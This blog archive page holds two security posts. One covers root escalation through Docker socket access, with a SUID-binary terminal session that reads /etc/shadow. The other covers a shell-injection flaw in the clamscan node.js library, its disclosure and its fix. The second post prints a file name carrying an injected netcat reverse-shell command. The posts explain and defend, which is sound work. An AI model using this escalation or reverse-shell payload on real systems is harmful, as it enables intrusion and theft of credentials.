Tag Archives: vulnerability

Having Docker socket access is (probably) not a great idea

So, what’s the fuss about having access to Docker socket? Well, by default, it is pretty insecure. How insecure? Very. This isn’t something new, others wrote about this before, but I’m surprised people are still getting tripped by this as it isn’t properly advertised.

This isn’t an issue with Docker for Mac / Docker for Windows simply because the actual Docker installation runs in a virtual machine. So, at best, you can compromise the VM rather than the developer machine. This is an issue for people who develop under Linux or run Dockers on servers.

The root of the problem (pun intended) is that the root user inside the container is also the root user on the host machine. Docker is supposed to isolate the process, but, the isolation may fail (which, it has, in the past), or the kernel, which is shared, may have a vulnerability (which has happened in the past).

While the shared kernel by itself is unavoidable (after all, this is all the rage about containers), the root user within the container being the root user on the host can be workaround by user namespaces. This has some drawbacks and missing functionality, so Docker being Docker took convenience over security as defaults, violating an important security principle (secure defaults).

The escalation from user to root if that user has access to the Docker socket is pretty much time immemorial in *nix land and it involves setting the SUID bit.

In practical terms:

  1. Start a container with a volume mount from a path controlled by the unprivileged user.
  2. Set SUID for a binary inside the container, a binary which is owned by root. Consequently, that’s the same UID 0 as the root user on the host which is the crux of the matter. That binary needs to be placed into the volume mount path. Some binaries (such as sh or bash on newer distributions) are hardened and they don’t elevate EUID and EGID to 0 despite SUID being set.
  3. Run the binary on the host with the SUID set and the file owned by root.
  4. …?
  5. Profit. Welcome to EUID 0.

Practical example:

vagrant$ docker run -v $(pwd):/target -it ubuntu:14.04 /bin/bash
root@31e0908a67db:/# cp /bin/sh /target/
root@31e0908a67db:/# chmod +s /target/sh
root@31e0908a67db:/# exit
vagrant$ ./sh
# id
uid=1000(vagrant) gid=1000(vagrant) euid=0(root) egid=0(root) groups=0(root),1000(vagrant) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
cat /etc/shadow
[...]
bin::18474:0:99999:7:::
daemon::18474:0:99999:7:::
adm:*:18474:0:99999:7:::
[...]

The example uses an older image as sh is not hardened, but you get the gist. Any binary could do damage e.g a SUID cat or tee can arbitrarily write files with root privileges. With root access inside the container, installing packages from a repository is also possible e.g zsh is not hardened even on newer distributions.

For Linux developers, there’s no Docker for Linux. docker-machine still works to create machines in VirtualBox (or other hypervisors, including remotely on cloud). However, that has an expiration date as boot2docker (which is the backend image for the VirtualBox driver) has been deprecated and it recommends, wait for it, Docker for Desktop (Windows or Mac), or the Linux runtime. Precisely that runtime which is has vulnerable defaults. Triple facepalm.

The reasons for discontinuing boot2docker is the existing alternatives, but those alternatives don’t exist for Linux distributions or they are simply deprecated as well. With others being mainly the same idea of a VM (I even maintained one at some point) or docker-machine still depending on boot2docker, I don’t see any easy fix.

Possible solutions:

  • Dust off my old Docker VM (which I have). I wrote that with performance in mind, but for development purposes. It works cross-platform.
  • Try to build a newer boot2docker release. This may be more complicated as it involves upgrading both Tiny Core Linux and Docker itself, plus a host of VM drivers/additions/tools. For the time being, this seems like too much of a time commitment.

docker-machine supports an alternative release URL for boot2docker (if I’m reading the source code correctly i.e apiURL), so it should work with some effort, but without changing the code in docker-machine. Maintaining boot2docker on the other hand is the bit that looks time consuming which is far more than the 5 minutes to build my Docker VM from scratch.

As I’ve mentioned servers, the main takeaway is simple: don’t give access to the Docker socket for users other than root unless user namespaces are employed, provided this isn’t prevented by a legitimate use case which makes user namespaces noop. Should that be the case, then the Docket socket needs to be restricted to root only, otherwise, the risk of accidental machine compromise is too great as it increases the attack surface by a significant margin.

The file names are input too

Do know know the old saying in the security circles that all input is evil? This has never stopped being true, especially for arbitrary user controlled input.

Few days ago the subject of injection vulnerabilities came up in a presentation at work, including shell injection vulnerabilities. Which reminded me of something from nearly 5 years ago.

I was doing a PoC antivirus using clamscan (i.e the node.js library) and ClamAV. With node’s file notification support, it was rather easy to implement a realtime scanning engine. The thing that was not that easy – getting this ready on time as it was a contractual obligation and the pentester on site had to make sure the customer’s pentesters won’t raise one too many eyebrows.

Needless to say, when writing something under the time pressure, the last thing on a developer’s mind is to audit the libraries used to deliver a piece of functionality. The initial win was short lived as the pentester came with an issue: the files containing special character names are detected as infected, however, they are not removed from the disk. One might have seen a glint in my eyes upon hearing those words.

This has raised an immediate red flag as I suspected the library was crashing, but the crash handler was just returning the default message that a file is infected. Few seconds into reading the source code and the suspected issue was confirmed: the dreaded child_process.exec is handling the user supplied files so there was no doubt that there’s a shell injection vulnerability in there.

Cue arbitrary remote code execution. Within minutes I have had a PoC exploit demonstrating what’s happening if somebody is scanning a file named:

`rm -f f;mkfifo f;cat f|sh -i 2>&1|nc $IP $PORT>f`

Filling $IP and $PORT have been left as exercise for the reader. Any inline reverse shell would work in there – provided it reads a series of shell commands. To quote a classic – would you look at that? Yep, that’s spawning a reverse shell to an attacker controlled machine when the file name is actually executed as shell commands instead of being a rather benign file to be scanned by the AV.

I have shown this to the pentester. Got a strong handshake and something along the lines that they have never seen this whilst doing a customer pentest. I’m guessing the typical customer doesn’t write exploits to pwn their own software, even when the issue is in a 3rd party lib.

The next step was to responsibly send an email explaining the whole thing, then asking the clamscan developer to pull the changes from my fork as the innocent sounding commits do a bit more than what’s left there for the untrained eye i.e the choice for child_process.execFile in place of child_process.exec wasn’t merely a cosmetic change, but a security fix.

I have been using execFile before it was even documented in the user facing docs of node.js. And I know because have done the same mistake with mime-magic, albeit realised the security implications years after it has been patched. That patch was more pragmatic in nature i.e handle particular edge cases which unknowingly has fixed the shell injection vulnerability.

Sadly, the issue reappeared after v1.0 of clamscan has been rebased from another branch which still had the same vulnerability in a different form, so it became another 0-day until very recently. Unfortunately, I have stopped using clamscan for the actual solution as my node.js implementation was just an advanced form of PoC and the development team responsible for that component wrote a proper intake scanner to use the clamd service. So, the whole thing dropped off my radar until being reminded about this class of vulnerabilities.

I’m guessing the second lesson to be learned here is that doing regression testing for past security incidents is pretty much a must, especially if large chunks of code are rewritten. Those big changes may wipe out security fixes.